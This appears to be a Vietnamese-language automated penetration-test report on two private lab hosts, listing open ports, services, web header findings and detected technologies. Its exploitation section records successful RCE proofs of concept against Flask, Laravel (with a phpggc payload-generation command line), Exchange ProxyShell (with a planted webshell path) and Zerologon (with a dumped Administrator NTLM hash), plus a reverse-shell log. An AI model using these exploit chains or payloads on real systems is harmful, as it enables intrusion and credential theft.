BÁO CÁO

Dò quét thông tin lỗ hổng bảo mật hệ thông

THEO HỒ SƠ

I Thông tin về dò quét

1.1 Thông tin tiến trình dò quét

1.1.1 Lần quét 1

_id	Name	Target	Date_Create	Date_Stop	Status
614993f0f2ecf62470b071af	test_running	192.168.133.181	21/09/2021T15:12:32	21/09/2021T15:18:16	StatusSuccess
61494be0b3cfb4d777eb9576	test_running	192.168.133.198	21/09/2021T10:05:04	21/09/2021T10:05:30	StatusSuccess

1.2 Thông tin đối tượng dò quét

1.2.1 IP

TT	IN_IP
1	192.168.133.1
2	192.168.133.181

1.2.2 DOMAIN

TT	IN_DOMAIN
1	http://local-asdcxsd
2	http://WIN-BT5LUHIQRIP

1.2.3 DESCRIBE

TT	IN_DESCRIBE
1	local
2	windows server - exchange

1.2.4 NAME

TT	IN_NAME
1	local-scan
2	windows-server-old

1.2.5 AUTHEN

<table>
<tr><th>TT</th><th>IN_AUTHEN</th></tr>
<tr><td>1</td><td><table><tr><th>username</th><td></td></tr><tr><th>password</th><td></td></tr></table></td></tr>
</table>

II Thu thập, dò quét thông tin

2.1 SERVICES

TT	name	product	version	port	protocol
1	smtp	Postfix smtpd	0	25	tcp
2	netbios-ssn	Samba smbd	3.X - 4.X	139	tcp
3	https	VMware Workstation SOAP API	15.5.6	443	tcp
4	netbios-ssn	Samba smbd	3.X - 4.X	445	tcp
5	vmware-auth	VMware Authentication Daemon	1.10	902	tcp
6	xmsg	0	0	1716	tcp
7	http	Werkzeug httpd	1.0.1	3001	tcp
8	http	Werkzeug httpd	1.0.1	5000	tcp
9	realserver	0	0	7070	tcp
10	http	Werkzeug httpd	1.0.1	8089	tcp
11	http	0	0	8888	tcp
12	smtp	Microsoft Exchange smtpd	0	25	tcp
13	domain	Simple DNS Plus	0	53	tcp
14	http	Microsoft IIS httpd	10.0	80	tcp
15	http	Microsoft IIS httpd	10.0	81	tcp
16	kerberos-sec	Microsoft Windows Kerberos	0	88	tcp
17	msrpc	Microsoft Windows RPC	0	135	tcp
18	netbios-ssn	Microsoft Windows netbios-ssn	0	139	tcp
19	ldap	Microsoft Windows Active Directory LDAP	0	389	tcp
20	http	Microsoft IIS httpd	10.0	443	tcp
21	http	Microsoft IIS httpd	10.0	444	tcp
22	microsoft-ds	0	0	445	tcp
23	kpasswd5	0	0	464	tcp
24	smtp	Microsoft Exchange smtpd	0	465	tcp
25	smtp	0	0	475	tcp
26	smtp	0	0	476	tcp
27	smtp	0	0	477	tcp
28	smtp	Microsoft Exchange smtpd	0	587	tcp
29	ncacn_http	Microsoft Windows RPC over HTTP	1.0	593	tcp
30	ldap	Microsoft Windows Active Directory LDAP	0	636	tcp
31	smtp	Microsoft Exchange smtpd	0	717	tcp
32	ccproxy-http	0	0	808	tcp
33	mc-nmf	.NET Message Framing	0	890	tcp
34	msmq	0	0	1801	tcp
35	msrpc	Microsoft Windows RPC	0	2103	tcp
36	msrpc	Microsoft Windows RPC	0	2105	tcp
37	msrpc	Microsoft Windows RPC	0	2107	tcp
38	smtp	Microsoft Exchange smtpd	0	2525	tcp
39	ldap	Microsoft Windows Active Directory LDAP	0	3268	tcp
40	ldap	Microsoft Windows Active Directory LDAP	0	3269	tcp
41	http	Microsoft HTTPAPI httpd	2.0	3800	tcp
42	mc-nmf	.NET Message Framing	0	3801	tcp
43	mc-nmf	.NET Message Framing	0	3803	tcp
44	mc-nmf	.NET Message Framing	0	3823	tcp
45	mc-nmf	.NET Message Framing	0	3828	tcp
46	mc-nmf	.NET Message Framing	0	3843	tcp
47	mc-nmf	.NET Message Framing	0	3863	tcp
48	mc-nmf	.NET Message Framing	0	3867	tcp
49	msexchange-logcopier	Microsoft Exchange 2010 log copier	0	3875	tcp
50	http	Microsoft HTTPAPI httpd	2.0	5985	tcp
51	ncacn_http	Microsoft Windows RPC over HTTP	1.0	6001	tcp
52	msrpc	Microsoft Windows RPC	0	6400	tcp
53	msrpc	Microsoft Windows RPC	0	6401	tcp
54	msrpc	Microsoft Windows RPC	0	6402	tcp
55	msrpc	Microsoft Windows RPC	0	6403	tcp
56	ncacn_http	Microsoft Windows RPC over HTTP	1.0	6405	tcp
57	msrpc	Microsoft Windows RPC	0	6406	tcp
58	msrpc	Microsoft Windows RPC	0	6408	tcp
59	msrpc	Microsoft Windows RPC	0	6411	tcp
60	msrpc	Microsoft Windows RPC	0	6421	tcp
61	msrpc	Microsoft Windows RPC	0	6457	tcp
62	msrpc	Microsoft Windows RPC	0	6475	tcp
63	msrpc	Microsoft Windows RPC	0	6482	tcp
64	msrpc	Microsoft Windows RPC	0	6527	tcp

TT	name	product	version	port	protocol
65	msrpc	Microsoft Windows RPC	0	6536	tcp
66	msrpc	Microsoft Windows RPC	0	6537	tcp
67	msrpc	Microsoft Windows RPC	0	6539	tcp
68	msrpc	Microsoft Windows RPC	0	6544	tcp
69	msrpc	Microsoft Windows RPC	0	6547	tcp
70	msrpc	Microsoft Windows RPC	0	6548	tcp
71	msrpc	Microsoft Windows RPC	0	6550	tcp
72	msrpc	Microsoft Windows RPC	0	6552	tcp
73	msrpc	Microsoft Windows RPC	0	6558	tcp
74	msrpc	Microsoft Windows RPC	0	6559	tcp
75	msrpc	Microsoft Windows RPC	0	6582	tcp
76	msrpc	Microsoft Windows RPC	0	6600	tcp
77	msrpc	Microsoft Windows RPC	0	6603	tcp
78	msrpc	Microsoft Windows RPC	0	6619	tcp
79	msrpc	Microsoft Windows RPC	0	6626	tcp
80	msrpc	Microsoft Windows RPC	0	6692	tcp
81	msrpc	Microsoft Windows RPC	0	6707	tcp
82	msrpc	Microsoft Windows RPC	0	6760	tcp
83	msrpc	Microsoft Windows RPC	0	6763	tcp
84	msrpc	Microsoft Windows RPC	0	6766	tcp
85	msrpc	Microsoft Windows RPC	0	6780	tcp
86	msrpc	Microsoft Windows RPC	0	6789	tcp
87	msrpc	Microsoft Windows RPC	0	6792	tcp
88	msrpc	Microsoft Windows RPC	0	6795	tcp
89	msrpc	Microsoft Windows RPC	0	6833	tcp
90	msrpc	Microsoft Windows RPC	0	6841	tcp
91	msrpc	Microsoft Windows RPC	0	6855	tcp
92	msrpc	Microsoft Windows RPC	0	6939	tcp
93	msrpc	Microsoft Windows RPC	0	6947	tcp
94	msrpc	Microsoft Windows RPC	0	6967	tcp
95	http	Microsoft IIS httpd	10.0	8172	tcp
96	mc-nmf	.NET Message Framing	0	9389	tcp
97	mc-nmf	.NET Message Framing	0	9710	tcp
98	msrpc	Microsoft Windows RPC	0	11183	tcp
99	msrpc	Microsoft Windows RPC	0	11187	tcp
100	msrpc	Microsoft Windows RPC	0	11204	tcp
101	msrpc	Microsoft Windows RPC	0	17705	tcp
102	msrpc	Microsoft Windows RPC	0	17785	tcp
103	http	Microsoft HTTPAPI httpd	2.0	47001	tcp
104	msexchange-logcopier	Microsoft Exchange 2010 log copier	0	64327	tcp
105	mc-nmf	.NET Message Framing	0	64337	tcp

2.2 PORTS

TT	RECON_PORTS
1	25
2	139
3	443
4	445
5	902
6	1716
7	3001
8	5000
9	7070
10	8089
11	8888
12	53
13	80
14	81
15	88
16	135
17	389
18	444
19	464
20	465
21	475
22	476

TT	RECON_PORTS
23	477
24	587
25	593
26	636
27	717
28	808
29	890
30	1801
31	2103
32	2105
33	2107
34	2525
35	3268
36	3269
37	3800
38	3801
39	3803
40	3823
41	3828
42	3843
43	3863
44	3867
45	3875
46	5985
47	6001
48	6400
49	6401
50	6402
51	6403
52	6405
53	6406
54	6408
55	6411
56	6421
57	6457
58	6475
59	6482
60	6527
61	6536
62	6537
63	6539
64	6544
65	6547
66	6548
67	6550
68	6552
69	6558
70	6559
71	6582
72	6600
73	6603
74	6619
75	6626
76	6692
77	6707
78	6760
79	6763
80	6766
81	6780
82	6789
83	6792
84	6795
85	6833
86	6841
87	6855
88	6939
89	6947
90	6967

TT	RECON_PORTS
91	8172
92	9389
93	9710
94	11183
95	11187
96	11204
97	17705
98	17785
99	47001
100	64327
101	64337

2.3 OS

TT	RECON_OS
1	windows
2	linux

2.4 WEBAPP

TT	RECON_WEBAPP
1	http://192.168.133.1:5000
2	http://192.168.133.1:3001
3	http://192.168.133.1:8888
4	http://192.168.133.1:8089
5	https://192.168.133.1:443
6	http://192.168.133.181:80
7	http://192.168.133.181:81
8	http://192.168.133.181:3800
9	http://192.168.133.181:5985
10	http://192.168.133.181:47001
11	https://192.168.133.181:443
12	https://192.168.133.181:444
13	https://192.168.133.181:8172

2.5 CVE

2.6 VULN

TT	name	host	matched	ip	results
1	Clickjacking (Missing XFO header)	http://192.168.133.1:5000/	http://192.168.133.1:5000/	192.168.133.1	[]
2	Clickjacking (Missing XFO header)	http://192.168.133.1:5000	http://192.168.133.1:5000	192.168.133.1	[]
3	Clickjacking (Missing XFO header)	http://192.168.133.1:3001/	http://192.168.133.1:3001/	192.168.133.1	[]
4	Clickjacking (Missing XFO header)	http://192.168.133.1:3001	http://192.168.133.1:3001	192.168.133.1	[]
5	Clickjacking (Missing XFO header)	http://192.168.133.1:8089	http://192.168.133.1:8089	192.168.133.1	[]
6	Clickjacking (Missing XFO header)	http://192.168.133.1:8089/	http://192.168.133.1:8089/	192.168.133.1	[]
7	Clickjacking (Missing XFO header)	192.168.133.1:8888	http://192.168.133.1:8888	192.168.133.1	[]
8	CSP Not Enforced	http://192.168.133.1:5000	http://192.168.133.1:5000	192.168.133.1	[]
9	Strict Transport Security Not Enforced	http://192.168.133.1:5000	http://192.168.133.1:5000	192.168.133.1	[]
10	X-Content-Type-Options unidentified	http://192.168.133.1:5000	http://192.168.133.1:5000	192.168.133.1	[]
11	CSP Not Enforced	http://192.168.133.1:3001	http://192.168.133.1:3001	192.168.133.1	[]
12	Strict Transport Security Not Enforced	http://192.168.133.1:3001	http://192.168.133.1:3001	192.168.133.1	[]
13	X-Content-Type-Options unidentified	http://192.168.133.1:3001	http://192.168.133.1:3001	192.168.133.1	[]

TT	name	host	matched	ip	results
14	CSP Not Enforced	http://192.168.133.1:5000/	http://192.168.133.1:5000/	192.168.133.1	[]
15	Strict Transport Security Not Enforced	http://192.168.133.1:5000/	http://192.168.133.1:5000/	192.168.133.1	[]
16	X-Content-Type-Options unidentified	http://192.168.133.1:5000/	http://192.168.133.1:5000/	192.168.133.1	[]
17	CSP Not Enforced	http://192.168.133.1:3001/	http://192.168.133.1:3001/	192.168.133.1	[]
18	Strict Transport Security Not Enforced	http://192.168.133.1:3001/	http://192.168.133.1:3001/	192.168.133.1	[]
19	X-Content-Type-Options unidentified	http://192.168.133.1:3001/	http://192.168.133.1:3001/	192.168.133.1	[]
20	CSP Not Enforced	http://192.168.133.1:8089	http://192.168.133.1:8089	192.168.133.1	[]
21	Strict Transport Security Not Enforced	http://192.168.133.1:8089	http://192.168.133.1:8089	192.168.133.1	[]
22	X-Content-Type-Options unidentified	http://192.168.133.1:8089	http://192.168.133.1:8089	192.168.133.1	[]
23	CSP Not Enforced	http://192.168.133.1:8089/	http://192.168.133.1:8089/	192.168.133.1	[]
24	Strict Transport Security Not Enforced	http://192.168.133.1:8089/	http://192.168.133.1:8089/	192.168.133.1	[]
25	X-Content-Type-Options unidentified	http://192.168.133.1:8089/	http://192.168.133.1:8089/	192.168.133.1	[]
26	CSP Not Enforced	192.168.133.1:8888	http://192.168.133.1:8888	192.168.133.1	[]
27	Strict Transport Security Not Enforced	192.168.133.1:8888	http://192.168.133.1:8888	192.168.133.1	[]
28	X-Content-Type-Options unidentified	192.168.133.1:8888	http://192.168.133.1:8888	192.168.133.1	[]
29	Credentials Disclosure Check	192.168.133.1:8888	http://192.168.133.1:8888/	192.168.133.1	[nativeEvents=, nativeEvents=]
30	Email Extractor	192.168.133.1:8888	http://192.168.133.1:8888/	192.168.133.1	[u003Ctaylor@laravel.com, u003Ctaylor@laravel.com]
31	HTaccess config file	192.168.133.1:8888	http://192.168.133.1:8888/.htaccess	192.168.133.1	[]
32	X-Forwarded-For 403-forbidden bypass	https://192.168.133.1:443	https://192.168.133.1:443/test.txt	192.168.133.1	[]
33	Laravel Debug Enabled	192.168.133.1:8888	http://192.168.133.1:8888/_ignition/health-check	192.168.133.1	[]
34	Web Config file	192.168.133.1:8888	http://192.168.133.1:8888/web.config	192.168.133.1	[]

2.7 CONFIG

2.8 TECHNOLOGY

TT	port	name	version	product
1	5000	Python	3.6.9	[Programming languages]
2	5000	Flask	1.0.1	[Web frameworks, Web servers]
3	3001	Python	3.6.9	[Programming languages]
4	3001	Flask	1.0.1	[Web frameworks, Web servers]
5	8888	PHP	7.3.25	[Programming languages]
6	8888	Gravatar		[Miscellaneous]
7	8888	Underscore.js	4.17.19	[JavaScript libraries]
8	8888	Lodash	4.17.19	[JavaScript libraries]
9	8089	Python	3.6.9	[Programming languages]
10	8089	Flask	1.0.1	[Web frameworks, Web servers]
11	0	gravatar		
12	0	php		
13	5000	HEAD, GET, OPTIONS		http
14	0	GET,HEAD		
15	0	apachegeneric		
16	0	ats		

III Thông tin lỗ hổng bảo mật

3.1 POCS

<table>
<tr><th>TT</th><th>result</th><th>app_name</th><th>created</th></tr>
<tr><td>1</td><td><table><tr><td><b>ShellInfo</b></td><td><table><tr><td><b>url</b></td><td>• http://192.168.133.1:5000/</td></tr><tr><td><b>info</b></td><td>flask command injection RCE</td></tr></table></td></tr></table></td><td>flask-test-cve-2021-0000</td><td>2021-09-16 13:39:26</td></tr>
<tr><td>2</td><td><table><tr><td><b>ShellInfo</b></td><td><table><tr><td><b>data</b></td><td>• \n php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "{}" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"\n</td></tr><tr><td><b>url</b></td><td>• http://192.168.133.1:8888</td></tr><tr><td><b>info</b></td><td>CVE-2021-3123 RCE</td></tr></table></td></tr></table></td><td>laravel-cve-2021-3123</td><td>2021-09-16 13:39:28</td></tr>
<tr><td>3</td><td><table><tr><td><b>ShellInfo</b></td><td><table><tr><td><b>url</b></td><td>https://192.168.133.181:443</td></tr><tr><td><b>email</b></td><td>Administrator@demo.local</td></tr><tr><td><b>shell</b></td><td>https://192.168.133.181:443/aspnet_client/ulcmzutebcvemlqu.aspx</td></tr><tr><td><b>info</b></td><td>proxyshell RCE</td></tr></table></td></tr></table></td><td>exchange-proxyshell-cve-2021-34473</td><td>2021-09-21 16:01:14</td></tr>
<tr><td>4</td><td><table><tr><td><b>ShellInfo</b></td><td><table><tr><td><b>dc_name</b></td><td>WIN-BT5LUHIQRIP</td></tr><tr><td><b>dc_ip</b></td><td>192.168.133.181</td></tr><tr><td><b>username</b></td><td>Administrator</td></tr><tr><td><b>password</b></td><td>aad3b435b51404eeaad3b435b51404ee:714ae77627375ec5b7a997f7567dd415</td></tr><tr><td><b>url</b></td><td>• 192.168.133.181</td></tr></table></td></tr></table></td><td>windows-cve-2020-1472</td><td>2021-09-21 16:01:32</td></tr>
</table>

IV Lịch sử khai thác lỗ hổng

3.1 LOG_RUN_SHELL

TT	Server_REV	id_connect	date_connect	target_connect	ip_reverse_shell	port_reverse_shell	status
1	http://192.168.133.1:3001	37790	16/09/2021T18:52:14	http://192.168.133.1:5000/	192.168.133.1	37790	Success